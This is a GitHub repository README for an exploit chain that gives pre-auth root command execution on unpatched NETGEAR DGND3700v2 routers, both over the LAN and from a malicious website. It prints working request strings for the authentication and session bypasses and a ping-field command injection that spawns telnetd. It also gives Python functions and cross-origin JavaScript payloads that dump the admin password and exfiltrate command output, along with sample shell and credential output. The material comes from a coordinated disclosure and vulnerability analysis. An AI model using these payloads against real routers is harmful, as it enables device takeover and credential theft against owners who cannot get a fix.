Movatterモバイル変換


[0]ホーム

URL:


Skip to content

Navigation Menu

Sign in
Appearance settings

Search code, repositories, users, issues, pull requests...

Provide feedback

We read every piece of feedback, and take your input very seriously.

Saved searches

Use saved searches to filter your results more quickly

Sign up
Appearance settings
This repository was archived by the owner on Dec 27, 2023. It is now read-only.
/longue-vuePublic archive

Longue vue is an exploit chain that can compromise over the internet NETGEAR DGND3700v2 devices.

License

NotificationsYou must be signed in to change notification settings

0vercl0k/longue-vue

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

4 Commits
 
 
 
 
 
 
 
 
 
 
 
 
 
 

Repository files navigation

«Longue vue» is an exploit chain that compromises remotelyNETGEAR DGND3700v2 devices. It has been tested on real hardware with the latest available firmware imageV1.1.00.26_1.00.26NA available on NETGEAR's website:DGND3700v2-V1.1.00.26_1.00.26NA.zip.

Its particularity is that it is able to compromise the router over the web like with a browser exploit: a user visiting a website is enough for an attacker to execute arbitrary root commands on their router 🔥

I worked withSSD Disclosure to address those issues and here is the advisory:SSD Advisory – NETGEAR DGND3700v2 PreAuth Root Access.

Unfortunately for users, it seems that NETGEAR has refused to address the vulnerabilities; here is the vendor statement:

NETGEAR will not release a fix for this vulnerability on the affected product as the product is outside of the security support period. Current in-support models are not affected by this vulnerability.

On top of the vulnerabilities exploited and the lack of security support from NETGEAR, the overall security of this device is probably the worst I've seen in a very long time - I would highly recommend moving off this device and getting another one (that's what I personally did).

Running the exploit

There are two ways to run the exploit:

  • a LAN version that also works against devices that have turned on remote management,
  • directly from the Internet (like in a browser exploit). You can check if your router is affected by visiting0vercl0k.github.io/longue-vue.

LAN / remote management turned on

longue-vue.py is the exploit code for LAN side / when remote management is enabled:

>python longue-vue.py           .    '                   .  "   '                  .  .  .                 '      '          "`       .   .                                           '     '        .    '      _______________                ==c(___(o(______(_()                        \=\                         )=\                        //|\\                       //|| \\                      // ||  \\                     //  ||   \\                    //         \\    «Longue vue» LAN exploit targeting NETGEAR DGND3700v2              by Axel '0vercl0k' Souchetusage: Longue vue [-h] [--dump-pwd] [--shell] [--cmd CMD] [--target TARGET]optional arguments:  -h, --help       show this help message and exit  --dump-pwd  --shell  --cmd CMD  --target TARGET

Below is an example of where I get a remote shell on the device (routerlogin.com resolves to the device IP):

>python longue-vue.py --target routerlogin.com --shell[...]Getting a shell against routerlogin.com..Waiting a few seconds before connecting..Dropping in the shell, exit with ctrl+c# /bin/ps/bin/ps  PID USER       VSZ STAT COMMAND    1 root      1100 S    init    2 root         0 SW<  [kthreadd]    3 root         0 SW<  [migration/0]    4 root         0 SW   [sirq-high/0]    5 root         0 SW   [sirq-timer/0]    6 root         0 SW   [sirq-net-tx/0]    7 root         0 SW   [sirq-net-rx/0]    8 root         0 SW   [sirq-block/0]    9 root         0 SW   [sirq-tasklet/0]   10 root         0 SW   [sirq-sched/0]   11 root         0 SW   [sirq-hrtimer/0]   12 root         0 SW   [sirq-rcu/0]   13 root         0 SW<  [migration/1]   14 root         0 SW   [sirq-high/1]   15 root         0 SW   [sirq-timer/1]   16 root         0 SW   [sirq-net-tx/1]   17 root         0 SW   [sirq-net-rx/1]   18 root         0 SW   [sirq-block/1]   19 root         0 SW   [sirq-tasklet/1]   20 root         0 SW   [sirq-sched/1]   21 root         0 SW   [sirq-hrtimer/1]   22 root         0 SW   [sirq-rcu/1]   23 root         0 SW<  [events/0]   24 root         0 SW<  [events/1]   25 root         0 SW<  [khelper]   28 root         0 SW<  [async/mgr]   92 root         0 SW<  [kblockd/0]   93 root         0 SW<  [kblockd/1]  102 root         0 SW<  [khubd]  120 root         0 SW<  [bpm]  136 root         0 SW   [pdflush]  137 root         0 SW   [pdflush]  138 root         0 SWN  [kswapd0]  140 root         0 SW<  [crypto/0]  141 root         0 SW<  [crypto/1]  198 root         0 SW<  [mtdblockd]  246 root         0 SW   [board-timer]  250 root         0 SW<  [linkwatch]  306 root         0 SW   [kpAliveWatchdog]  312 root         0 SW   [dsl0]  321 root         0 SW   [bcmsw]  322 root         0 SW   [bcmsw_timer]  409 root      1500 S    /usr/sbin/swmdk  411 root      1500 S    /usr/sbin/swmdk  412 root      1500 S    /usr/sbin/swmdk  417 root      1272 S    /sbin/klogd  419 root       808 S    /usr/sbin/cmd_agent_ap  421 root         0 SWN  [jffs2_gcd_mtd4]  422 root         0 SWN  [jffs2_gcd_mtd3]  423 root         0 SWN  [jffs2_gcd_mtd12]  424 root         0 SWN  [jffs2_gcd_mtd11]  425 root         0 SWN  [jffs2_gcd_mtd10]  426 root         0 SWN  [jffs2_gcd_mtd9]  427 root         0 SWN  [jffs2_gcd_mtd2]  428 root         0 SWN  [jffs2_gcd_mtd8][...]# *** Connection closed by remote host ***Cleaning up..Joining..----------------------------Done----------------------------

And here is another example to dump the login credentials:

>python longue-vue.py --dump-pwd           .    '                   .  "   '                  .  .  .                 '      '          "`       .   .                                           '     '        .    '      _______________                ==c(___(o(______(_()                        \=\                         )=\                        //|\\                       //|| \\                      // ||  \\                     //  ||   \\                    //         \\    «Longue vue» LAN exploit targeting NETGEAR DGND3700v2              by Axel '0vercl0k' SouchetDumping administration password...Login: 'admin', Password: "TK'm$30ImYDh)Q.e}nZf"----------------------------Done----------------------------

From the internet

You can check if your router is affected by visiting0vercl0k.github.io/longue-vue.

The easiest way to set up the attack in a lab is to startpython -m http.server from theweb/ directory. Then, edit thehosts file of your OS (C:\Windows\System32\drivers\etc\hosts on Windows,/etc/hosts on Linux) and add an entry that resolves to the IP of the listenning Python HTTP server:

[...]<your local ip> longue-vue.net

In my case, I ranpython -m http.server from my personal machine which has the following IP: 192.168.0.2

[...]192.168.0.2 longue-vue.net

Once this is done, you can open a browser (I've only tested this on Microsoft Edge chromium) and navigate tolongue-vue.net and press the button. This is what you should see:

longue-vue

Vulnerabilities

Two vulnerabilities are used; an authentication bypass (as well as a session bypass) and a command injection.

Most of the web functionality is implemented in a CGI ELF written in C. The HTTP server is based offmini_httpd with some modifications / customizations. It is the process that sets up the environment variables that the CGI executable (setup.cgi) uses to understand how to serve the request.

Bypassing authentication / session

The way web authentication is "working" on this device is extremely fragile. The web server sets an environment variable calledNEED_AUTH to'0' or'1' before invokingsetup.cgi. The CGI executable then uses it to know if it needs to authenticate the user or not.

Because some resources (images, pages, etc.) need to be available without authentication (like the page returned when using wrong credentials), it keeps a static array of page names that are deemed "special":

.data:0041EB20 SpecialNonAuthPages:.word aCurrentsetting.data:0041EB20                           # "currentsetting.htm".data:0041EB24  .word aUpdateSettingH    # "update_setting.htm".data:0041EB28  .word aDebuginfoHtm      # "debuginfo.htm".data:0041EB2C  .word aImportantUpdat    # "important_update.htm".data:0041EB30  .word aMNUtopHtm         # "MNU_top.htm".data:0041EB34  .word aWarningPgHtm      # "warning_pg.htm".data:0041EB38  .word aMultiLoginHtml    # "multi_login.html".data:0041EB3C  .word aHtpwdRecoveryC    # "htpwd_recovery.cgi".data:0041EB40  .word a401RecoveryHtm    # "401_recovery.htm".data:0041EB44  .word a401AccessDenie    # "401_access_denied.htm"

When handling a request it loops over this array and tries to find the substring in the request specified by the user:

char*handle_request(){//...CurrSpecialPagePtr= (constchar**)SpecialNonAuthPages;while (1 )  {CurrSpecialPage=*CurrSpecialPagePtr;if ( !*CurrSpecialPagePtr )break;++CurrSpecialPagePtr;// If we find a hit, we special case the requestif (strstr(v60,CurrSpecialPage) )      gotoLABEL_171;  }if ( !strstr(v60,".gif")&& !strstr(v60,".css")&& !strstr(v60,".js")&& !strstr(v60,".xml")&& !strstr(v60,".jpg") )  {    gotoLABEL_173;  }LABEL_171:NeedAuth=0;

Obviously an attacker can abuse this very easily by just appendingfoo=currentsetting.htm in every authenticated URL the attacker wants to access (without authentication). This means the HTTP server will set theNEED_AUTH to'0'.

defdump_http_pwd(target):'''Bypass authentication and retrieve credentials needed to access    the administration panel.'''r=requests.get(f'http://{target}/setup.cgi?next_file=passwordrecovered.htm&foo=currentsetting.htm')content=r.content.decode()login,pwd=re.findall(r'Router Admin (?:Username|Password)</span>:&nbsp;(.+)</td>',content)returnlogin,pwd

Once the request is allowed to go through,setup.cgi gets spawned viaexecve:

.text:00405BAC   move    $a1, $zero       # handler.text:00405BB0   lw      $gp, 0x2B38+var_2B10($sp).text:00405BB4   move    $a0, $s1         # path.text:00405BB8   la      $t9, execve.text:00405BBC   move    $a1, $s0         # argv.text:00405BC0   jalr    $t9 ; execve.text:00405BC4   move    $a2, $s2         # envp

Below is a stripped version ofsetup.cgi's main:

int __cdeclmain(intargc,constchar**argv,constchar**envp){// ...strcpy(SessionFilepath,"/tmp/SessionFile");memset(&SessionFilepath[17],0,0x6Fu);// ...QueryStringIdPtr=strstr(QueryString,"id=");if ( !QueryStringIdPtr )  {// ...  }QueryStringId=strtol(QueryStringIdPtr+3,&QueryStringAfterIdPtr,16);if (QueryStringAfterIdPtr )  {QueryStringSpPtr=strstr(QueryStringAfterIdPtr,"sp=");if (QueryStringSpPtr )strcat(SessionFilepath,QueryStringSpPtr+3);  }SessionId=ReadSessionId(SessionFilepath);ConFd__=fopen("/dev/console","w");if (ConFd__ )  {fprintf(ConFd__,"[ %s - %d ] : ","sid_verify",201);fprintf(ConFd__,"<%s> your_sid = <%08x>, my_sid = <%08x> \n",SessionFilepath,QueryStringId,SessionId);fflush(ConFd__);fclose(ConFd__);  }if (QueryStringId!=SessionId )    gotoSendForbidden;// ...}

The functionalities implemented insetup.cgi are gated behind those checks (even before authentication). This is what I called the 'session bypass' 🤷🏽‍♂️.

The code creates a file called/tmp/SessionFileXXX whereXXX is the value of thesp GET variable parameter. On successful authentication, this file is opened and a secret integer is generated and written into it. The attentive reader will also notice that the concatenation ofXXX to/tmpSessionFile is also a pre-auth remote stack overflow... 🤦🏽‍♂️

The code tries to implement a session by asking the user to provide the secret integer via theid GET parameter. This is whatReadSessionId looks like:

int __fastcallReadSessionId(constchar*Filename){FILE*Fd;intSessionId;SessionId=0;Fd=fopen(Filename,"r");if ( !Fd )returnSessionId;fscanf(Fd,"%x",&SessionId);fclose(Fd);returnSessionId;}

The logic is really simple: it opens the file path passed, reads an hexadecimal string into an integer which is calledSessionId and returns it. The caller simply compares the value passed inid= to the value stored in the file. If the secret matches, then the code keeps going otherwise it sends aforbidden answer to the user.

Again, trivial to bypass: we can simply passsp=1337 which means thatReadSessionId will open/tmp/SessionId1337 which won't exist on the device. This means thatfopen will fail and returnSessionId which has been initialized to zero. This is a known value and as a result we can simply passid=0 to have the two secrets match 🤦🏽‍♂️.

defcmd_exec(target,cmd,silent=False):r=requests.post(f'http://{target}/setup.cgi?id=0&sp=1337foo=currentsetting.htm',

After bypassing the session checks, this is what the authentication check look like further down:

intHandleSetupCgi(){intList;constchar*NextFile;constchar*ActionName;List=cgi_input_parse();fflush(stdout);if (check_need_logout(List) )returnhandle_logout(List);

cgi_input_parse basically parses the query string and creates a list of key / value items that is passed to various functions.

Incheck_need_logout we can see theNEED_AUTH variable mentioned earlier:

bool __fastcallcheck_need_logout(intList){// ...LoginIp=getenv("LOGIN_IP");NeedAuth=getenv("NEED_AUTH");// ...if (NeedAuth )  {Return=0;if (*NeedAuth=='0' )returnReturn;  }//...}

The function needs to return zero for the caller to continue; otherwise it sends aForbidden page. If the variableNEED_AUTH is present in the environment, the code checks if it is'0' and if so it returns0 which means that no authentication is needed.

Because of the issue that we exploited in the HTTP server,NEED_AUTH will be set to'0' and this is how we bypass authentication.

At this point, we can access any feature exposed by the web UI: we can leak the HTTP credentials, etc.

Executing arbitrary commands

Naturally,setup.cgi implements a feature that allows you to ping an arbitrary IP (inAdvanced > Administration > Diagnostics). The code for that is defined as below:

// .text:00407948 handler_ping_testint __fastcallhandler_ping_test(inta1){constchar*v2;constchar*v3;charv5[128];v2= (constchar*)find_val(a1, (int)"c4_IPAddr");if ( !v2 )v2=&nptr;if ( !strchr(v2,'-')&& !strchr(v2,';') )  {sprintf(v5,"/bin/ping -c 4 %s",v2);myPipe(v5,&ping_output);  }v3= (constchar*)find_val(a1, (int)"next_file");html_parser(v3,a1,&key_fun_tab);return0;}

You can inject a command via thec4_IPAddr POST parameter. The'-',';' characters can't be used but it is enough to run a telnet server that is available from the LAN side; this is whatlongue-vue.py does for dropping a shell:

defcmd_exec(target,cmd,silent=False):'''Bypass authentication and command inject `cmd`.'''r=requests.post(f'http://{target}/setup.cgi?id=0&sp=1337foo=currentsetting.htm', {'todo' :'ping_test','c4_IPAddr' :f'127.0.0.1 && echo SNIPME &&{cmd}','next_file' :'diagping.htm'    })content=r.content.decode()ping_log=re.findall(r'<textarea name="ping_result" .+ readonly >(.+)</textarea>',content,re.DOTALL    )_,cmd_content=ping_log[0].split('SNIPME',1)ifnotsilent:print(cmd_content.strip())defspawn_telnetd(target):'''Spawn the telnet server.'''cmd_exec(target,'/bin/utelnetd',silent=True)

Bypassing CORS in the remote from the Internet scenario

When running the exploit via the browser, one issue that arises is that the originlongue-vue.net is not allowed to read cross origin data (the router's web pages). Even though it can POST / GET and trigger the issues discussed above (because of lack of CSRF tokens) it cannot read the result.

The trick that I used to bypass this is to create an XSS with the command execution vulnerability:/bin/echo XSSPAYLOAD. The XSS payload runs in the context of the router website's origin and as a result can leak the data back to the attacker server (usingpostMessage). Below is the code that leaks the HTTP credentials over the web:

//// Dump the passwords of the administrator.//functiondumpPasswords(){constpayload=`fetch('/setup.cgi?next_file=passwordrecovered.htm&foo=currentsetting.htm').then(r=>r.text()).then(r=>parent.postMessage(r, '*')).catch(r=>parent.postMessage('failed','*'))`;returnexecute(payload).then(R=>{const[loginMatch,pwdMatch]=R.matchAll(/RouterAdmin(?:Username|Password)<\/span>:&nbsp;(.+)<\/td>/g);return{'login':loginMatch[1],'pwd':pwdMatch[1]};});}

This is how I read the output of an arbitrary command executed on the target:

//// Execute a shell command on the router.//functionexecuteCommand(command){if(command.includes(';')||command.includes('-')){throw'cannot inject ";" or "-"';}constpayload="parent.postMessage(document.body.outerHTML,'*')";constcommands=['/bin/echo BEGIN',command,'/bin/echo END'];returnexecute(payload,commands).then(r=>{const[_,result]=r.match(/BEGIN\n(.+)\nEND/s);returnresult;});}

Authors

About

Longue vue is an exploit chain that can compromise over the internet NETGEAR DGND3700v2 devices.

Topics

Resources

License

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

[8]ページ先頭

©2009-2025 Movatter.jp